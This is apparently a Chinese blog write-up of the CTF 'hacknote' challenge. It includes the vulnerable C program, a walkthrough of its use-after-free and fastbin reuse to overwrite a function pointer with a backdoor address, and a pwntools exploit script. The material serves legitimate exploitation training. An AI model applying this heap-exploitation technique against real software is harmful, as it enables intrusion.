Use After Free (hacknote为例)

 源码: 
之所以放源码是因为我发现我的高版本Ubuntu调试总会出现问题,所以大家可以自己用gcc编译一下。

gcc hacknote.c -no-pie -o hacknote (自己编译下,关掉pie会更好)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

这题的思路无非就是利用了free掉堆块后,对应指向该堆块的指针没有置空,仍然指向这一块内存,因此我们仍然可以使用这个指针去做某些事情,例如在这里的print_note函数,我们仍然可以利用未置空的指针去输出对应的内容,这也是一个造成内存泄露的点。虽然可能不能直接造成拿到shell,但如果有后门或者里面存着重要数据,这也会造成很大的威力

在这里是存在一个后门函数的,就是magic函数,刚好就是system("cat falg"),这也非常明显了,我们就是要通过某种途径,让程序执行这个后门函数。

讲讲这题的利用思路

首先讲下add_note这里究竟做了什么。观察note的结构体结构

struct note {
  void (*printnote)();
  char *content;
};
这里note结构体存着一个函数指针,然后申请一个0x10大小的空间(64位下16个字节,也就是结构体的大小),其中note->printnote=print_note_content,存着这个函数。那本题我们要做的,就是修改note->printnote,让它去等于我们的magic函数,从而拿到flag

开始: 

开始首先连续调用两次add_note函数,创建的size要大于fastbin的大小,我这里是选了0x80,刚好就是unsortedbin的大小的临界(别进fastbin就行,或者说别是0x10)。

那为什么不只创建一个呢,偏要创建两个,不创建3个,4个甚至更多??? 

原因是这样的,我们的目标是为了控制 listnode 这个结构体数组的随便一个里面的void (*printnote)的指向,我们需要把这个指向修改成我们的magic(后门函数),这里我们选用了listnote[0]的。

想要控制listnode[0]的这块内存,我们该咋办呢 

这里我们利用了fastbin的特性,是这样的,当我们malloc一个堆块的时候,如果是在fastbin大小范围内,程序会去遍历fastbin(结构上和栈很像,先进后出),一旦找到对应大小的堆块,就会立即从fastbin里拿出来给你。

在这个程序中,每次调用add_note函数的时候,程序都会先申请一个0x10大小的堆块,再delete_note这个函数中,也会把这个0x10的堆块连同size大小(用户输入的大小)的堆块一起free掉。

重点来了 :如果此时我们再申请一块0x10大小的堆块,系统会从fastbin取下来给你

也就是把listnote[0]这块内存给你,而你有写的权力,你要做的,就是把这个结构体函数指针指向后门函数,也就是listnote->printnote=magic  ,还记得我们之前说的没把free掉堆块对应的指针置空吗?这时候麻烦大了,我们仍然可以使用这块内存,当我们调用print_note的时候,我们传入一开始的第一个堆块的指针(虽然已经被free掉了,但是指针仍然指向这个内存),就会去调用magic函数,这样就获得到了flag!!!

下面是exp:

from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./test')
io=process("./test")

gdb.attach(io)



from LibcSearcher import *

io.recvuntil(b'r choice :')
io.send(b'1')
io.recv()
io.send(b'128')
io.recv()
io.send(b'aaaaaaaa')



io.recvuntil(b'r choice :')
io.send(b'2')
io.recv()
io.send(b'0')

system_catflag=0x40167A
io.recvuntil(b'r choice :')
io.send(b'1')
io.recv()
io.send(b'16')
io.recv()
payload=p64(system_catflag)
io.send(payload)
print("发送成功!!!")

pause()

io.recvuntil(b'r choice :')
io.send(b'3')
io.recv()
io.send(b'0')

io.interactive()

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值